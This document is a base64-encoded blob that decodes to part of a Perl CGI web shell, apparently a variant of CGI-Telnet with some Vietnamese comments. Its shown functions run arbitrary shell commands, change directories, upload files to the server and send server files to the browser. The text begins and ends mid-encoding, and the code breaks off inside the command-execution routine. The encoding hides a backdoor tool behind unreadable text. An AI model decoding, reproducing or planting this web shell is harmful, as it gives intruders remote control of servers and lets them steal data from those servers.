TlJQ1JYYVc1T1ZDQS9JQ0lrWkdseUlENGdJaUE2SUNKYllXUnRhVzVjUUNSVFpYSjJaWEpPWVcxbElDUmthWEpkWENRZ0lqc0tDWEpsZEhWeWJpQThQRVZPUkRzS1BHWnZjbTBnYm1GdFpUMGlaaUlnYldWMGFHOWtQU0pRVDFOVUlpQmhZM1JwYjI0OUlpUlRZM0pwY0hSTWIyTmhkR2x2YmlJK0NqeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJRzVoYldVOUltUWlJSFpoYkhWbFBTSWtRM1Z5Y21WdWRFUnBjaUkrQ2p4cGJuQjFkQ0IwZVhCbFBTSm9hV1JrWlc0aUlHNWhiV1U5SW1FaUlIWmhiSFZsUFNKa2IzZHViRzloWkNJK0NpUlFjbTl0Y0hRZ1pHOTNibXh2WVdROFluSStQR0p5UGdwR2FXeGxibUZ0WlRvZ1BHbHVjSFYwSUdOc1lYTnpQU0ptYVd4bElpQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSm1JaUJ6YVhwbFBTSXpOU0krUEdKeVBqeGljajRLUkc5M2JteHZZV1E2SUR4cGJuQjFkQ0JqYkdGemN6MGljM1ZpYldsMElpQjBlWEJsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pDWldkcGJpSStDZ284TDJadmNtMCtDa1ZPUkFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdVSEpwYm5SeklIUm9aU0JJVkUxTUlHWnZjbTBnZEdoaGRDQmhiR3h2ZDNNZ2RHaGxJSFZ6WlhJZ2RHOGdkWEJzYjJGa0lHWnBiR1Z6Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGQnlhVzUwUm1sc1pWVndiRzloWkVadmNtMEtld29KYlhrZ0pHUnBjajBnSmtGa1pFeHBibXRFYVhJb0luVndiRzloWkNJcE93b0pKRkJ5YjIxd2RDQTlJQ1JYYVc1T1ZDQS9JQ0lrWkdseUlENGdJaUE2SUNKYllXUnRhVzVjUUNSVFpYSjJaWEpPWVcxbElDUmthWEpkWENRZ0lqc0tDWEpsZEhWeWJpQThQRVZPUkRzS1BHWnZjbTBnYm1GdFpUMGlaaUlnWlc1amRIbHdaVDBpYlhWc2RHbHdZWEowTDJadmNtMHRaR0YwWVNJZ2JXVjBhRzlrUFNKUVQxTlVJaUJoWTNScGIyNDlJaVJUWTNKcGNIUk1iMk5oZEdsdmJpSStDaVJRY205dGNIUWdkWEJzYjJGa1BHSnlQanhpY2o0S1JtbHNaVzVoYldVNklEeHBibkIxZENCamJHRnpjejBpWm1sc1pTSWdkSGx3WlQwaVptbHNaU0lnYm1GdFpUMGlaaUlnYzJsNlpUMGlNelVpUGp4aWNqNDhZbkkrQ2s5d2RHbHZibk02SUNadVluTndPenhwYm5CMWRDQjBlWEJsUFNKamFHVmphMkp2ZUNJZ2JtRnRaVDBpYnlJZ2FXUTlJblZ3SWlCMllXeDFaVDBpYjNabGNuZHlhWFJsSWo0S1BHeGhZbVZzSUdadmNqMGlkWEFpUGs5MlpYSjNjbWwwWlNCcFppQnBkQ0JGZUdsemRITThMMnhoWW1Wc1BqeGljajQ4WW5JK0NsVndiRzloWkRvbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzOGFXNXdkWFFnWTJ4aGMzTTlJbk4xWW0xcGRDSWdkSGx3WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpUW1WbmFXNGlQZ284YVc1d2RYUWdkSGx3WlQwaWFHbGtaR1Z1SWlCdVlXMWxQU0prSWlCMllXeDFaVDBpSkVOMWNuSmxiblJFYVhJaVBnbzhhVzV3ZFhRZ1kyeGhjM005SW5OMVltMXBkQ0lnZEhsd1pUMGlhR2xrWkdWdUlpQnVZVzFsUFNKaElpQjJZV3gxWlQwaWRYQnNiMkZrSWo0S0Nqd3ZabTl5YlQ0S0NrVk9SQXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1ZHaHBjeUJtZFc1amRHbHZiaUJwY3lCallXeHNaV1FnZDJobGJpQjBhR1VnZEdsdFpXOTFkQ0JtYjNJZ1lTQmpiMjF0WVc1a0lHVjRjR2x5WlhNdUlGZGxJRzVsWldRZ2RHOEtJeUIwWlhKdGFXNWhkR1VnZEdobElITmpjbWx3ZENCcGJXMWxaR2xoZEdWc2VTNGdWR2hwY3lCbWRXNWpkR2x2YmlCcGN5QjJZV3hwWkNCdmJteDVJRzl1SUZWdWFYZ3VJRWwwSUdsekNpTWdibVYyWlhJZ1kyRnNiR1ZrSUhkb1pXNGdkR2hsSUhOamNtbHdkQ0JwY3lCeWRXNXVhVzVuSUc5dUlFNVVMZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDbk4xWWlCRGIyMXRZVzVrVkdsdFpXOTFkQXA3Q2dscFppZ2hKRmRwYms1VUtRb0pld29KQ1dGc1lYSnRLREFwT3dvSkNYSmxkSFZ5YmlBOFBFVk9SRHNLUEM5MFpYaDBZWEpsWVQ0S1BHSnlQanhtYjI1MElHTnZiRzl5UFhsbGJHeHZkejRLUTI5dGJXRnVaQ0JsZUdObFpXUmxaQ0J0WVhocGJYVnRJSFJwYldVZ2IyWWdKRU52YlcxaGJtUlVhVzFsYjNWMFJIVnlZWFJwYjI0Z2MyVmpiMjVrS0hNcExqd3ZabTl1ZEQ0S1BHSnlQanhtYjI1MElITnBlbVU5SnpZbklHTnZiRzl5UFhKbFpENUxhV3hzWldRZ2FYUWhQQzltYjI1MFBncEZUa1FLQ1gwS2ZRb0tDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVkdocGN5Qm1kVzVqZEdsdmJpQmthWE53YkdGNWN5QjBhR1VnY0dGblpTQjBhR0YwSUdOdmJuUmhhVzV6SUdFZ2JHbHVheUIzYUdsamFDQmhiR3h2ZDNNZ2RHaGxJSFZ6WlhJS0l5QjBieUJrYjNkdWJHOWhaQ0IwYUdVZ2MzQmxZMmxtYVdWa0lHWnBiR1V1SUZSb1pTQndZV2RsSUdGc2MyOGdZMjl1ZEdGcGJuTWdZU0JoZFhSdkxYSmxabkpsYzJnS0l5Qm1aV0YwZFhKbElIUm9ZWFFnYzNSaGNuUnpJSFJvWlNCa2IzZHViRzloWkNCaGRYUnZiV0YwYVdOaGJHeDVMZ29qSUVGeVozVnRaVzUwSURFNklFWjFiR3g1SUhGMVlXeHBabWxsWkNCbWFXeGxibUZ0WlNCdlppQjBhR1VnWm1sc1pTQjBieUJpWlNCa2IzZHViRzloWkdWa0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS2MzVmlJRkJ5YVc1MFJHOTNibXh2WVdSTWFXNXJVR0ZuWlFwN0NnbHNiMk5oYkNna1JtbHNaVlZ5YkNrZ1BTQkFYenNLQ1cxNUlDUnlaWE4xYkhROUlpSTdDZ2xwWmlndFpTQWtSbWxzWlZWeWJDa2dJeUJwWmlCMGFHVWdabWxzWlNCbGVHbHpkSE1LQ1hzS0NRa2pJR1Z1WTI5a1pTQjBhR1VnWm1sc1pTQnNhVzVySUhOdklIZGxJR05oYmlCelpXNWtJR2wwSUhSdklIUm9aU0JpY205M2MyVnlDZ2tKSkVacGJHVlZjbXdnUFg0Z2N5OG9XMTVoTFhwQkxWb3dMVGxkS1M4bkpTY3VkVzV3WVdOcktDSklLaUlzSkRFcEwyVm5Pd29KQ1NSRWIzZHViRzloWkV4cGJtc2dQU0FpSkZOamNtbHdkRXh2WTJGMGFXOXVQMkU5Wkc5M2JteHZZV1FtWmowa1JtbHNaVlZ5YkNadlBXZHZJanNLQ1Fra1NIUnRiRTFsZEdGSVpXRmtaWElnUFNBaVBHMWxkR0VnU0ZSVVVDMUZVVlZKVmoxY0lsSmxabkpsYzJoY0lpQkRUMDVVUlU1VVBWd2lNVHNnVlZKTVBTUkViM2R1Ykc5aFpFeHBibXRjSWo0aU93b0pDU1pRY21sdWRGQmhaMlZJWldGa1pYSW9JbU1pS1RzS0NRa2tjbVZ6ZFd4MElDNDlJRHc4UlU1RU93cFRaVzVrYVc1bklFWnBiR1VnSkZSeVlXNXpabVZ5Um1sc1pTNHVManhpY2o0S0NrbG1JSFJvWlNCa2IzZHViRzloWkNCa2IyVnpJRzV2ZENCemRHRnlkQ0JoZFhSdmJXRjBhV05oYkd4NUxBbzhZU0JvY21WbVBTSWtSRzkzYm14dllXUk1hVzVySWo1RGJHbGpheUJJWlhKbFBDOWhQZ3BGVGtRS0NRa2tjbVZ6ZFd4MElDNDlJQ1pRY21sdWRFTnZiVzFoYm1STWFXNWxTVzV3ZFhSR2IzSnRPd29KZlFvSlpXeHpaU0FqSUdacGJHVWdaRzlsYzI0bmRDQmxlR2x6ZEFvSmV3b0pDU1J5WlhOMWJIUWdMajBnSWtaaGFXeGxaQ0IwYnlCa2IzZHViRzloWkNBa1JtbHNaVlZ5YkRvZ0pDRWlPd29KQ1NSeVpYTjFiSFFnTGowZ0psQnlhVzUwUm1sc1pVUnZkMjVzYjJGa1JtOXliVHNLQ1gwS0NYSmxkSFZ5YmlBa2NtVnpkV3gwT3dwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCeVpXRmtjeUIwYUdVZ2MzQmxZMmxtYVdWa0lHWnBiR1VnWm5KdmJTQjBhR1VnWkdsemF5QmhibVFnYzJWdVpITWdhWFFnZEc4Z2RHaGxDaU1nWW5KdmQzTmxjaXdnYzI4Z2RHaGhkQ0JwZENCallXNGdZbVVnWkc5M2JteHZZV1JsWkNCaWVTQjBhR1VnZFhObGNpNEtJeUJCY21kMWJXVnVkQ0F4T2lCR2RXeHNlU0J4ZFdGc2FXWnBaV1FnY0dGMGFHNWhiV1VnYjJZZ2RHaGxJR1pwYkdVZ2RHOGdZbVVnYzJWdWRDNEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnVTJWdVpFWnBiR1ZVYjBKeWIzZHpaWElLZXdvSmJYa2dKSEpsYzNWc2RDQTlJQ0lpT3dvSmJHOWpZV3dvSkZObGJtUkdhV3hsS1NBOUlFQmZPd29KYVdZb2IzQmxiaWhUUlU1RVJrbE1SU3dnSkZObGJtUkdhV3hsS1NrZ0l5Qm1hV3hsSUc5d1pXNWxaQ0JtYjNJZ2NtVmhaR2x1WndvSmV3b0pDV2xtS0NSWGFXNU9WQ2tLQ1FsN0Nna0pDV0pwYm0xdlpHVW9VMFZPUkVaSlRFVXBPd29KQ1FsaWFXNXRiMlJsS0ZOVVJFOVZWQ2s3Q2drSmZRb0pDU1JHYVd4bFUybDZaU0E5SUNoemRHRjBLQ1JUWlc1a1JtbHNaU2twV3pkZE93b0pDU2drUm1sc1pXNWhiV1VnUFNBa1UyVnVaRVpwYkdVcElEMStJQ0J0SVNoYlhpOWVYRnhkS2lra0lUc0tDUWx3Y21sdWRDQWlRMjl1ZEdWdWRDMVVlWEJsT2lCaGNIQnNhV05oZEdsdmJpOTRMWFZ1YTI1dmQyNWNiaUk3Q2drSmNISnBiblFnSWtOdmJuUmxiblF0VEdWdVozUm9PaUFrUm1sc1pWTnBlbVZjYmlJN0Nna0pjSEpwYm5RZ0lrTnZiblJsYm5RdFJHbHpjRzl6YVhScGIyNDZJR0YwZEdGamFHMWxiblE3SUdacGJHVnVZVzFsUFNReFhHNWNiaUk3Q2drSmNISnBiblFnZDJocGJHVW9QRk5GVGtSR1NVeEZQaWs3Q2drSlkyeHZjMlVvVTBWT1JFWkpURVVwT3dvSkNXVjRhWFFvTVNrN0NnbDlDZ2xsYkhObElDTWdabUZwYkdWa0lIUnZJRzl3Wlc0Z1ptbHNaUW9KZXdvSkNTUnlaWE4xYkhRZ0xqMGdJa1poYVd4bFpDQjBieUJrYjNkdWJHOWhaQ0FrVTJWdVpFWnBiR1U2SUNRaElqc0tDUWtrY21WemRXeDBJQzQ5SmxCeWFXNTBSbWxzWlVSdmQyNXNiMkZrUm05eWJUc0tDWDBLQ1hKbGRIVnliaUFrY21WemRXeDBPd3A5Q2dvS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklGUm9hWE1nWm5WdVkzUnBiMjRnYVhNZ1kyRnNiR1ZrSUhkb1pXNGdkR2hsSUhWelpYSWdaRzkzYm14dllXUnpJR0VnWm1sc1pTNGdTWFFnWkdsemNHeGhlWE1nWVNCdFpYTnpZV2RsQ2lNZ2RHOGdkR2hsSUhWelpYSWdZVzVrSUhCeWIzWnBaR1Z6SUdFZ2JHbHVheUIwYUhKdmRXZG9JSGRvYVdOb0lIUm9aU0JtYVd4bElHTmhiaUJpWlNCa2IzZHViRzloWkdWa0xnb2pJRlJvYVhNZ1puVnVZM1JwYjI0Z2FYTWdZV3h6YnlCallXeHNaV1FnZDJobGJpQjBhR1VnZFhObGNpQmpiR2xqYTNNZ2IyNGdkR2hoZENCc2FXNXJMaUJKYmlCMGFHbHpJR05oYzJVc0NpTWdkR2hsSUdacGJHVWdhWE1nY21WaFpDQmhibVFnYzJWdWRDQjBieUIwYUdVZ1luSnZkM05sY2k0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdRbVZuYVc1RWIzZHViRzloWkFwN0Nna2pJR2RsZENCbWRXeHNlU0J4ZFdGc2FXWnBaV1FnY0dGMGFDQnZaaUIwYUdVZ1ptbHNaU0IwYnlCaVpTQmtiM2R1Ykc5aFpHVmtDZ2xwWmlnb0pGZHBiazVVSUNZZ0tDUlVjbUZ1YzJabGNrWnBiR1VnUFg0Z2JTOWVYRng4WGk0Nkx5a3BJSHdLQ1Frb0lTUlhhVzVPVkNBbUlDZ2tWSEpoYm5ObVpYSkdhV3hsSUQxK0lHMHZYbHd2THlrcEtTQWpJSEJoZEdnZ2FYTWdZV0p6YjJ4MWRHVUtDWHNLQ1Fra1ZHRnlaMlYwUm1sc1pTQTlJQ1JVY21GdWMyWmxja1pwYkdVN0NnbDlDZ2xsYkhObElDTWdjR0YwYUNCcGN5QnlaV3hoZEdsMlpRb0pld29KQ1dOb2IzQW9KRlJoY21kbGRFWnBiR1VwSUdsbUtDUlVZWEpuWlhSR2FXeGxJRDBnSkVOMWNuSmxiblJFYVhJcElEMStJRzB2VzF4Y1hDOWRKQzg3Q2drSkpGUmhjbWRsZEVacGJHVWdMajBnSkZCaGRHaFRaWEF1SkZSeVlXNXpabVZ5Um1sc1pUc0tDWDBLQ2dscFppZ2tUM0IwYVc5dWN5QmxjU0FpWjI4aUtTQWpJSGRsSUdoaGRtVWdkRzhnYzJWdVpDQjBhR1VnWm1sc1pRb0pld29KQ1NaVFpXNWtSbWxzWlZSdlFuSnZkM05sY2lna1ZHRnlaMlYwUm1sc1pTazdDZ2w5Q2dsbGJITmxJQ01nZDJVZ2FHRjJaU0IwYnlCelpXNWtJRzl1YkhrZ2RHaGxJR3hwYm1zZ2NHRm5aUW9KZXdvSkNTWlFjbWx1ZEVSdmQyNXNiMkZrVEdsdWExQmhaMlVvSkZSaGNtZGxkRVpwYkdVcE93b0pmUXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1ZHaHBjeUJtZFc1amRHbHZiaUJwY3lCallXeHNaV1FnZDJobGJpQjBhR1VnZFhObGNpQjNZVzUwY3lCMGJ5QjFjR3h2WVdRZ1lTQm1hV3hsTGlCSlppQjBhR1VLSXlCbWFXeGxJR2x6SUc1dmRDQnpjR1ZqYVdacFpXUXNJR2wwSUdScGMzQnNZWGx6SUdFZ1ptOXliU0JoYkd4dmQybHVaeUIwYUdVZ2RYTmxjaUIwYnlCemNHVmphV1o1SUdFS0l5Qm1hV3hsTENCdmRHaGxjbmRwYzJVZ2FYUWdjM1JoY25SeklIUm9aU0IxY0d4dllXUWdjSEp2WTJWemN5NEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnVlhCc2IyRmtSbWxzWlFwN0Nna2pJR2xtSUc1dklHWnBiR1VnYVhNZ2MzQmxZMmxtYVdWa0xDQndjbWx1ZENCMGFHVWdkWEJzYjJGa0lHWnZjbTBnWVdkaGFXNEtDV2xtS0NSVWNtRnVjMlpsY2tacGJHVWdaWEVnSWlJcENnbDdDZ2tKY21WMGRYSnVJQ1pRY21sdWRFWnBiR1ZWY0d4dllXUkdiM0p0T3dvS0NYMEtDVzE1SUNSeVpYTjFiSFE5SWlJN0Nna2pJSE4wWVhKMElIUm9aU0IxY0d4dllXUnBibWNnY0hKdlkyVnpjd29KSkhKbGMzVnNkQ0F1UFNBaVZYQnNiMkZrYVc1bklDUlVjbUZ1YzJabGNrWnBiR1VnZEc4Z0pFTjFjbkpsYm5SRWFYSXVMaTQ4WW5JK0lqc0tDZ2tqSUdkbGRDQjBhR1VnWm5Wc2JHeDVJSEYxWVd4cFptbGxaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JqY21WaGRHVmtDZ2xqYUc5d0tDUlVZWEpuWlhST1lXMWxLU0JwWmlBb0pGUmhjbWRsZEU1aGJXVWdQU0FrUTNWeWNtVnVkRVJwY2lrZ1BYNGdiUzliWEZ4Y0wxMGtMenNLQ1NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlNFb1cxNHZYbHhjWFNvcEpDRTdDZ2trVkdGeVoyVjBUbUZ0WlNBdVBTQWtVR0YwYUZObGNDNGtNVHNLQ2dra1ZHRnlaMlYwUm1sc1pWTnBlbVVnUFNCc1pXNW5kR2dvSkdsdWV5ZG1hV3hsWkdGMFlTZDlLVHNLQ1NNZ2FXWWdkR2hsSUdacGJHVWdaWGhwYzNSeklHRnVaQ0IzWlNCaGNtVWdibTkwSUhOMWNIQnZjMlZrSUhSdklHOTJaWEozY21sMFpTQnBkQW9KYVdZb0xXVWdKRlJoY21kbGRFNWhiV1VnSmlZZ0pFOXdkR2x2Ym5NZ2JtVWdJbTkyWlhKM2NtbDBaU0lwQ2dsN0Nna0pKSEpsYzNWc2RDQXVQU0FpUm1GcGJHVmtPaUJFWlhOMGFXNWhkR2x2YmlCbWFXeGxJR0ZzY21WaFpIa2daWGhwYzNSekxqeGljajRpT3dvSmZRb0paV3h6WlNBaklHWnBiR1VnYVhNZ2JtOTBJSEJ5WlhObGJuUUtDWHNLQ1FscFppaHZjR1Z1S0ZWUVRFOUJSRVpKVEVVc0lDSStKRlJoY21kbGRFNWhiV1VpS1NrS0NRbDdDZ2tKQ1dKcGJtMXZaR1VvVlZCTVQwRkVSa2xNUlNrZ2FXWWdKRmRwYms1VU93b0pDUWx3Y21sdWRDQlZVRXhQUVVSR1NVeEZJQ1JwYm5zblptbHNaV1JoZEdFbmZUc0tDUWtKWTJ4dmMyVW9WVkJNVDBGRVJrbE1SU2s3Q2drSkNTUnlaWE4xYkhRZ0xqMGdJbFJ5WVc1elptVnlaV1FnSkZSaGNtZGxkRVpwYkdWVGFYcGxJRUo1ZEdWekxqeGljajRpT3dvSkNRa2tjbVZ6ZFd4MElDNDlJQ0pHYVd4bElGQmhkR2c2SUNSVVlYSm5aWFJPWVcxbFBHSnlQaUk3Q2drSmZRb0pDV1ZzYzJVS0NRbDdDZ2tKQ1NSeVpYTjFiSFFnTGowZ0lrWmhhV3hsWkRvZ0pDRThZbkkrSWpzS0NRbDlDZ2w5Q2dra2NtVnpkV3gwSUM0OUlDWlFjbWx1ZEVOdmJXMWhibVJNYVc1bFNXNXdkWFJHYjNKdE93b0pjbVYwZFhKdUlDUnlaWE4xYkhRN0NuMEtDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtJeUJVYUdseklHWjFibU4wYVc5dUlHbHpJR05oYkd4bFpDQjNhR1Z1SUhSb1pTQjFjMlZ5SUhkaGJuUnpJSFJ2SUdSdmQyNXNiMkZrSUdFZ1ptbHNaUzRnU1dZZ2RHaGxDaU1nWm1sc1pXNWhiV1VnYVhNZ2JtOTBJSE53WldOcFptbGxaQ3dnYVhRZ1pHbHpjR3hoZVhNZ1lTQm1iM0p0SUdGc2JHOTNhVzVuSUhSb1pTQjFjMlZ5SUhSdklITndaV05wWm5rZ1lRb2pJR1pwYkdVc0lHOTBhR1Z5ZDJselpTQnBkQ0JrYVhOd2JHRjVjeUJoSUcxbGMzTmhaMlVnZEc4Z2RHaGxJSFZ6WlhJZ1lXNWtJSEJ5YjNacFpHVnpJR0VnYkdsdWF3b2pJSFJvY205MVoyZ2dJSGRvYVdOb0lIUm9aU0JtYVd4bElHTmhiaUJpWlNCa2IzZHViRzloWkdWa0xnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENuTjFZaUJFYjNkdWJHOWhaRVpwYkdVS2V3b0pJeUJwWmlCdWJ5Qm1hV3hsSUdseklITndaV05wWm1sbFpDd2djSEpwYm5RZ2RHaGxJR1J2ZDI1c2IyRmtJR1p2Y20wZ1lXZGhhVzRLQ1dsbUtDUlVjbUZ1YzJabGNrWnBiR1VnWlhFZ0lpSXBDZ2w3Q2drSkpsQnlhVzUwVUdGblpVaGxZV1JsY2lnaVppSXBPd29KQ1hKbGRIVnliaUFtVUhKcGJuUkdhV3hsUkc5M2JteHZZV1JHYjNKdE93b0pmUW9KQ2draklHZGxkQ0JtZFd4c2VTQnhkV0ZzYVdacFpXUWdjR0YwYUNCdlppQjBhR1VnWm1sc1pTQjBieUJpWlNCa2IzZHViRzloWkdWa0NnbHBaaWdvSkZkcGJrNVVJQ1lnS0NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlM5ZVhGeDhYaTQ2THlrcElId2dLQ0VrVjJsdVRsUWdKaUFvSkZSeVlXNXpabVZ5Um1sc1pTQTlmaUJ0TDE1Y0x5OHBLU2tnSXlCd1lYUm9JR2x6SUdGaWMyOXNkWFJsQ2dsN0Nna0pKRlJoY21kbGRFWnBiR1VnUFNBa1ZISmhibk5tWlhKR2FXeGxPd29KZlFvSlpXeHpaU0FqSUhCaGRHZ2dhWE1nY21Wc1lYUnBkbVVLQ1hzS0NRbGphRzl3S0NSVVlYSm5aWFJHYVd4bEtTQnBaaWdrVkdGeVoyVjBSbWxzWlNBOUlDUkRkWEp5Wlc1MFJHbHlLU0E5ZmlCdEwxdGNYRnd2WFNRdk93b0pDU1JVWVhKblpYUkdhV3hsSUM0OUlDUlFZWFJvVTJWd0xpUlVjbUZ1YzJabGNrWnBiR1U3Q2dsOUNnb0phV1lvSkU5d2RHbHZibk1nWlhFZ0ltZHZJaWtnSXlCM1pTQm9ZWFpsSUhSdklITmxibVFnZEdobElHWnBiR1VLQ1hzS0NRbHlaWFIxY200Z0psTmxibVJHYVd4bFZHOUNjbTkzYzJWeUtDUlVZWEpuWlhSR2FXeGxLVHNLQ1gwS0NXVnNjMlVnSXlCM1pTQm9ZWFpsSUhSdklITmxibVFnYjI1c2VTQjBhR1VnYkdsdWF5QndZV2RsQ2dsN0Nna0pjbVYwZFhKdUlDWlFjbWx1ZEVSdmQyNXNiMkZrVEdsdWExQmhaMlVvSkZSaGNtZGxkRVpwYkdVcE93b0pmUXA5Q2dvS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklGUm9hWE1nWm5WdVkzUnBiMjRnYVhNZ1kyRnNiR1ZrSUhSdklHVjRaV04xZEdVZ1kyOXRiV0Z1WkhNdUlFbDBJR1JwYzNCc1lYbHpJSFJvWlNCdmRYUndkWFFnYjJZZ2RHaGxDaU1nWTI5dGJXRnVaQ0JoYm1RZ1lXeHNiM2R6SUhSb1pTQjFjMlZ5SUhSdklHVnVkR1Z5SUdGdWIzUm9aWElnWTI5dGJXRnVaQzRnVkdobElHTm9ZVzVuWlNCa2FYSmxZM1J2Y25rS0l5QmpiMjF0WVc1a0lHbHpJR2hoYm1Sc1pXUWdaR2xtWm1WeVpXNTBiSGt1SUVsdUlIUm9hWE1nWTJGelpTd2dkR2hsSUc1bGR5QmthWEpsWTNSdmNua2dhWE1nYzNSdmNtVmtJR2x1Q2lNZ1lXNGdhVzUwWlhKdVlXd2dkbUZ5YVdGaWJHVWdZVzVrSUdseklIVnpaV1FnWldGamFDQjBhVzFsSUdFZ1kyOXRiV0Z1WkNCb1lYTWdkRzhnWW1VZ1pYaGxZM1YwWldRdUlGUm9aUW9qSUc5MWRIQjFkQ0J2WmlCMGFHVWdZMmhoYm1kbElHUnBjbVZqZEc5eWVTQmpiMjF0WVc1a0lHbHpJRzV2ZENCa2FYTndiR0Y1WldRZ2RHOGdkR2hsSUhWelpYSnpDaU1nZEdobGNtVm1iM0psSUdWeWNtOXlJRzFsYzNOaFoyVnpJR05oYm01dmRDQmlaU0JrYVhOd2JHRjVaV1F1Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlFVjRaV04xZEdWRGIyMXRZVzVrQ25zS0NXMTVJQ1J5WlhOMWJIUTlJaUk3Q2dscFppZ2tVblZ1UTI5dGJXRnVaQ0E5ZmlCdEwxNWNjeXBqWkZ4ekt5Z3VLeWt2S1NBaklHbDBJR2x6SUdFZ1kyaGhibWRsSUdScGNpQmpiMjF0WVc1a0NnbDdDZ2tKSXlCM1pTQmphR0Z1WjJVZ2RHaGxJR1JwY21WamRHOXllU0JwYm5SbGNtNWhiR3g1TGlCVWFHVWdiM1YwY0hWMElHOW1JSFJvWlFvSkNTTWdZMjl0YldGdVpDQnBjeUJ1YjNRZ1pHbHpjR3hoZVdWa0xnb0pDU1JEYjIxdFlXNWtJRDBnSW1Oa0lGd2lKRU4xY25KbGJuUkVhWEpjSWlJdUpFTnRaRk5sY0M0aVkyUWdKREVpTGlSRGJXUlRaWEF1SkVOdFpGQjNaRHNLQ1FsamFHOXdLQ1JEZFhKeVpXNTBSR2x5SUQwZ1lDUkRiMjF0WVc1a1lDazdDZ2tKSkhKbGMzVnNkQ0F1UFNBbVVISnBiblJEYjIxdFlXNWtUR2x1WlVsdWNIVjBSbTl5YlRzS0Nna0pKSEpsYzNWc2RDQXVQU0FpUTI5dGJXRnVaRG9nUEhKMWJqNGtVblZ1UTI5dGJXRnVaQ0E4TDNKMWJqNDhZbkkrUEhSbGVIUmhjbVZoSUdOdmJITTlKeVJqYjJ4ekp5QnliM2R6UFNja2NtOTNjeWNnYzNCbGJHeGphR1ZqYXowblptRnNjMlVuUGlJN0Nna0pJeUI0ZFdGMElIUm9iMjVuSUhScGJpQnJhR2tnWTJoMWVXVnVJR1JsYmlBeElIUm9kU0J0ZFdNZ2JtRnZJR1J2SVFvSkNTUlNkVzVEYjIxdFlXNWtQU0FrVjJsdVRsUS9JbVJwY2lJNkltUnBjaUF0